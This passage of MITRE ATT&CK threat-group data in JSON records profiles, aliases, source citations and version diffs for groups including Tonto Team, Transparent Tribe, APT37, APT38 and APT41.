"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/" }, { "source_name": "Cado Security TeamTNT Worm August 2020", "description": "Cado Security. (2020, August 16). Team TNT \u2013 The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.", "url": "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/" }, { "source_name": "Unit 42 Hildegard Malware", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" }, { "source_name": "Trend Micro TeamTNT", "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf" }, { "source_name": "ATT TeamTNT Chimaera September 2020", "description": "AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.", "url": "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera" }, { "source_name": "Aqua TeamTNT August 2020", "description": "Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.", "url": "https://blog.aquasec.com/container-security-tnt-container-attack" }, { "source_name": "Intezer TeamTNT Explosion September 2021", "description": "Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021.", "url": "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Will Thomas, Cyjax" ], "x_mitre_version": "1.0" }, { "type": "intrusion-set", "id": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-05-05 17:18:25.987000+00:00", "modified": "2021-10-17 20:56:22.161000+00:00", "name": "Tonto Team", "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)", "aliases": [ "Tonto Team", "Earth Akhlut", "BRONZE HUNTLEY", "CactusPete", "Karma Panda" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0131", "external_id": "G0131" }, { "source_name": "Earth Akhlut", "description": "(Citation: TrendMicro Tonto Team October 2020)" }, { "source_name": "BRONZE HUNTLEY", "description": "(Citation: Secureworks BRONZE HUNTLEY )" }, { "source_name": "CactusPete", "description": "(Citation: Kaspersky CactusPete Aug 2020)" }, { "source_name": "Karma Panda", "description": "(Citation: Kaspersky CactusPete Aug 2020)(Citation: CrowdStrike Manufacturing Threat July 2020)" }, { "source_name": "Kaspersky CactusPete Aug 2020", "description": "Zykov, K. (2020, August 13). CactusPete APT group\u2019s updated Bisonal backdoor. Retrieved May 5, 2021.", "url": "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/" }, { "source_name": "ESET Exchange Mar 2021", "description": "Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021.", "url": "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/" }, { "source_name": "FireEye Chinese Espionage October 2019", "description": "Nalani Fraser, Kelli Vanderlee. (2019, October 10). Achievement Unlocked - Chinese Cyber Espionage Evolves to Support Higher Level Missions. Retrieved October 17, 2021.", "url": "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" }, { "source_name": "ARS Technica China Hack SK April 2017", "description": "Sean Gallagher. (2017, April 21). Researchers claim China trying to hack South Korea missile defense efforts. Retrieved October 17, 2021.", "url": "https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/" }, { "source_name": "Trend Micro HeartBeat Campaign January 2013", "description": "Roland Dela Paz. (2003, January 3). The HeartBeat APT Campaign. Retrieved October 17, 2021.", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?" }, { "source_name": "Talos Bisonal 10 Years March 2020", "description": "Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021.", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html" }, { "source_name": "TrendMicro Tonto Team October 2020", "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021.", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf" }, { "source_name": "Secureworks BRONZE HUNTLEY ", "description": "Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/bronze-huntley" }, { "source_name": "CrowdStrike Manufacturing Threat July 2020", "description": "Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries\u2019 Crosshairs. Retrieved October 17, 2021.", "url": "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.0" }, { "type": "intrusion-set", "id": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-09-02 15:14:33.738000+00:00", "modified": "2021-10-15 19:27:15.500000+00:00", "name": "Transparent Tribe", "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)", "aliases": [ "Transparent Tribe", "COPPER FIELDSTONE", "APT36", "Mythic Leopard", "ProjectM" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0134", "external_id": "G0134" }, { "source_name": "COPPER FIELDSTONE", "description": "(Citation: Secureworks COPPER FIELDSTONE Profile)" }, { "source_name": "APT36", "description": "(Citation: Talos Transparent Tribe May 2021)" }, { "source_name": "Mythic Leopard", "description": "(Citation: Crowdstrike Mythic Leopard Profile)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)" }, { "source_name": "ProjectM", "description": "(Citation: Unit 42 ProjectM March 2016)(Citation: Kaspersky Transparent Tribe August 2020)" }, { "source_name": "Proofpoint Operation Transparent Tribe March 2016", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" }, { "source_name": "Kaspersky Transparent Tribe August 2020", "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.", "url": "https://securelist.com/transparent-tribe-part-1/98127/" }, { "source_name": "Talos Transparent Tribe May 2021", "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021.", "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html" }, { "source_name": "Secureworks COPPER FIELDSTONE Profile", "description": "Secureworks. (n.d.). COPPER FIELDSTONE. Retrieved October 6, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/copper-fieldstone" }, { "source_name": "Crowdstrike Mythic Leopard Profile", "description": "Crowdstrike. (n.d.). Mythic Leopard. Retrieved October 6, 2021.", "url": "https://adversary.crowdstrike.com/en-US/adversary/mythic-leopard/" }, { "source_name": "Unit 42 ProjectM March 2016", "description": "Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. 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[APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", "aliases": [ "APT37", "Richochet Chollima", "InkySquid", "ScarCruft", "Reaper", "Group123", "TEMP.Reaper" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0067", "external_id": "G0067" }, { "source_name": "APT37", "description": "(Citation: FireEye APT37 Feb 2018)" }, { "source_name": "Richochet Chollima", "description": "(Citation: CrowdStrike Richochet Chollima September 2021)" }, { "source_name": "InkySquid", "description": "(Citation: Volexity InkySquid BLUELIGHT August 2021)" }, { "source_name": "ScarCruft", "description": "(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)" }, { "source_name": "Reaper", "description": "(Citation: FireEye APT37 Feb 2018)" }, { "source_name": "Group123", "description": "(Citation: FireEye APT37 Feb 2018)" }, { "source_name": "TEMP.Reaper", "description": "(Citation: FireEye APT37 Feb 2018)" }, { "source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" }, { "source_name": "Securelist ScarCruft Jun 2016", "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", "url": "https://securelist.com/operation-daybreak/75100/" }, { "source_name": "Talos Group123", "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" }, { "source_name": "CrowdStrike Richochet Chollima September 2021", "description": "CrowdStrike. (2021, September 30). Adversary Profile - Richochet Chollima. Retrieved September 30, 2021.", "url": "https://adversary.crowdstrike.com/en-US/adversary/ricochet-chollima/" }, { "source_name": "Volexity InkySquid BLUELIGHT August 2021", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/" }, { "source_name": "Securelist ScarCruft May 2019", "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Valerii Marchuk, Cybersecurity Help s.r.o." ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][6]['url']\": \"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf\", \"root['external_references'][7]['url']\": \"https://securelist.com/operation-daybreak/75100/\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 16:54:01.193000+00:00\", \"old_value\": \"2020-10-21 18:55:20.925000+00:00\"}, \"root['description']\": {\"new_value\": \"[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. 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Old Description
New Description
t1[APT37](https://attack.mitre.org/groups/G0067) is a suspectet1[APT37](https://attack.mitre.org/groups/G0067) is a North Ko
>d North Korean cyber espionage group that has been active si>rean state-sponsored cyber espionage group that has been act
>nce at least 2012. The group has targeted victims primarily >ive since at least 2012. The group has targeted victims prim
>in South Korea, but also in Japan, Vietnam, Russia, Nepal, C>arily in South Korea, but also in Japan, Vietnam, Russia, Ne
>hina, India, Romania, Kuwait, and other parts of the Middle >pal, China, India, Romania, Kuwait, and other parts of the M
>East. [APT37](https://attack.mitre.org/groups/G0067) has als>iddle East. [APT37](https://attack.mitre.org/groups/G0067) h
>o been linked to following campaigns between 2016-2018: Oper>as also been linked to the following campaigns between 2016-
>ation Daybreak, Operation Erebus, Golden Time, Evil New Year>2018: Operation Daybreak, Operation Erebus, Golden Time, Evi
>, Are you Happy?, FreeMilk, Northern Korean Human Rights, an>l New Year, Are you Happy?, FreeMilk, North Korean Human Rig
>d Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Ci>hts, and Evil New Year 2018.(Citation: FireEye APT37 Feb 201
>tation: Securelist ScarCruft Jun 2016) (Citation: Talos Grou>8)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos 
>p123)  North Korean group definitions are known to have sign>Group123)  North Korean group definitions are known to have 
>ificant overlap, and the name [Lazarus Group](https://attack>significant overlap, and some security researchers report al
>.mitre.org/groups/G0032) is known to encompass a broad range>l North Korean state-sponsored cyber activity under the name
> of activity. Some organizations use the name Lazarus Group > [Lazarus Group](https://attack.mitre.org/groups/G0032) inst
>to refer to any activity attributed to North Korea.(Citation>ead of tracking clusters or subgroups.
>: US-CERT HIDDEN COBRA June 2017) Some organizations track N 
>orth Korean clusters or groups such as Bluenoroff,(Citation: 
> Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https:/ 
>/attack.mitre.org/groups/G0067), and [APT38](https://attack. 
>mitre.org/groups/G0082) separately, while other organization 
>s may track some activity associated with those group names  
>by the name Lazarus Group. 
" }, { "type": "intrusion-set", "id": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-01-29 21:27:24.793000+00:00", "modified": "2021-10-15 16:33:27.982000+00:00", "name": "APT38", "description": "[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", "aliases": [ "APT38", "NICKEL GLADSTONE", "BeagleBoyz", "Bluenoroff", "Stardust Chollima" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0082", "external_id": "G0082" }, { "source_name": "APT38", "description": "(Citation: FireEye APT38 Oct 2018)" }, { "source_name": "NICKEL GLADSTONE", "description": "(Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021)" }, { "source_name": "BeagleBoyz", "description": "(Citation: CISA AA20-239A BeagleBoyz August 2020)" }, { "source_name": "Bluenoroff", "description": "(Citation: Kaspersky Lazarus Under The Hood Blog 2017)" }, { "source_name": "Stardust Chollima", "description": "(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)" }, { "source_name": "CISA AA20-239A BeagleBoyz August 2020", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a" }, { "source_name": "FireEye APT38 Oct 2018", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", "url": "https://content.fireeye.com/apt/rpt-apt38" }, { "source_name": "DOJ North Korea Indictment Feb 2021", "description": "Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.", "url": "https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and" }, { "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", "url": "https://securelist.com/lazarus-under-the-hood/77908/" }, { "source_name": "SecureWorks NICKEL GLADSTONE profile Sept 2021", "description": "SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" }, { "source_name": "CrowdStrike Stardust Chollima Profile April 2018", "description": "Meyers, Adam. (2018, April 6). Meet CrowdStrike\u2019s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/" }, { "source_name": "CrowdStrike GTR 2021 June 2021", "description": "CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][2]['url']\": \"https://content.fireeye.com/apt/rpt-apt38\", \"root['external_references'][3]['url']\": \"https://www.us-cert.gov/ncas/alerts/TA17-164A\", \"root['external_references'][4]['url']\": \"https://securelist.com/lazarus-under-the-hood/77908/\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 16:33:27.982000+00:00\", \"old_value\": \"2020-03-30 18:50:43.737000+00:00\"}, \"root['description']\": {\"new_value\": \"[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\", \"old_value\": \"[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)\\n\\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)\\n+[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\\n \\n-North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.\\n+North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"NICKEL GLADSTONE\", \"old_value\": \"FireEye APT38 Oct 2018\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"(Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021)\", \"old_value\": \"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"BeagleBoyz\", \"old_value\": \"US-CERT HIDDEN COBRA June 2017\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"(Citation: CISA AA20-239A BeagleBoyz August 2020)\", \"old_value\": \"US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \\u2013 North Korea\\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Bluenoroff\", \"old_value\": \"Kaspersky Lazarus Under The Hood Blog 2017\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\", \"old_value\": \"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['aliases'][1]\": \"NICKEL GLADSTONE\", \"root['aliases'][2]\": \"BeagleBoyz\", \"root['aliases'][3]\": \"Bluenoroff\", \"root['aliases'][4]\": \"Stardust Chollima\", \"root['external_references'][5]\": {\"source_name\": \"Stardust Chollima\", \"description\": \"(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)\"}, \"root['external_references'][6]\": {\"source_name\": \"CISA AA20-239A BeagleBoyz August 2020\", \"description\": \"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.\", \"url\": \"https://us-cert.cisa.gov/ncas/alerts/aa20-239a\"}, \"root['external_references'][7]\": {\"source_name\": \"FireEye APT38 Oct 2018\", \"description\": \"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.\", \"url\": \"https://content.fireeye.com/apt/rpt-apt38\"}, \"root['external_references'][8]\": {\"source_name\": \"DOJ North Korea Indictment Feb 2021\", \"description\": \"Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.\", \"url\": \"https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and\"}, \"root['external_references'][9]\": {\"source_name\": \"Kaspersky Lazarus Under The Hood Blog 2017\", \"description\": \"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.\", \"url\": \"https://securelist.com/lazarus-under-the-hood/77908/\"}, \"root['external_references'][10]\": {\"source_name\": \"SecureWorks NICKEL GLADSTONE profile Sept 2021\", \"description\": \"SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.\", \"url\": \"https://www.secureworks.com/research/threat-profiles/nickel-gladstone\"}, \"root['external_references'][11]\": {\"source_name\": \"CrowdStrike Stardust Chollima Profile April 2018\", \"description\": \"Meyers, Adam. (2018, April 6). Meet CrowdStrike\\u2019s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.\", \"url\": \"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/\"}, \"root['external_references'][12]\": {\"source_name\": \"CrowdStrike GTR 2021 June 2021\", \"description\": \"CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.\", \"url\": \"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[APT38](https://attack.mitre.org/groups/G0082) is a financiat1[APT38](https://attack.mitre.org/groups/G0082) is a North Ko
>lly-motivated threat group that is backed by the North Korea>rean state-sponsored threat group that specializes in financ
>n regime. The group mainly targets banks and financial insti>ial cyber operations; it has been attributed to the Reconnai
>tutions and has targeted more than 16 organizations in at le>ssance General Bureau.(Citation: CISA AA20-239A BeagleBoyz A
>ast 13 countries since at least 2014.(Citation: FireEye APT3>ugust 2020) Active since at least 2014, [APT38](https://atta
>8 Oct 2018)  North Korean group definitions are known to hav>ck.mitre.org/groups/G0082) has targeted banks, financial ins
>e significant overlap, and the name [Lazarus Group](https://>titutions, casinos, cryptocurrency exchanges, SWIFT system e
>attack.mitre.org/groups/G0032) is known to encompass a broad>ndpoints, and ATMs in at least 38 countries worldwide. Signi
> range of activity. Some organizations use the name Lazarus >ficant operations include the 2016 Bank of Bangladesh heist,
>Group to refer to any activity attributed to North Korea.(Ci> during which [APT38](https://attack.mitre.org/groups/G0082)
>tation: US-CERT HIDDEN COBRA June 2017) Some organizations t> stole $81 million, as well as attacks against Bancomext (20
>rack North Korean clusters or groups such as Bluenoroff,(Cit>18) and Banco de Chile (2018); some of their attacks have be
>ation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](h>en destructive.(Citation: CISA AA20-239A BeagleBoyz August 2
>ttps://attack.mitre.org/groups/G0067), and [APT38](https://a>020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North K
>ttack.mitre.org/groups/G0082) separately, while other organi>orea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under 
>zations may track some activity associated with those group >The Hood Blog 2017)  North Korean group definitions are know
>names by the name Lazarus Group.>n to have significant overlap, and some security researchers
 > report all North Korean state-sponsored cyber activity unde
 >r the name [Lazarus Group](https://attack.mitre.org/groups/G
 >0032) instead of tracking clusters or subgroups.
" }, { "type": "intrusion-set", "id": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-09-23 13:43:36.945000+00:00", "modified": "2021-10-15 00:28:08.413000+00:00", "name": "APT41", "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\n", "aliases": [ "APT41", "WICKED PANDA" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0096", "external_id": "G0096" }, { "source_name": "APT41", "description": "(Citation: FireEye APT41 2019)" }, { "source_name": "WICKED PANDA", "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" }, { "source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://content.fireeye.com/apt-41/rpt-apt41" }, { "source_name": "Group IB APT 41 June 2021", "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 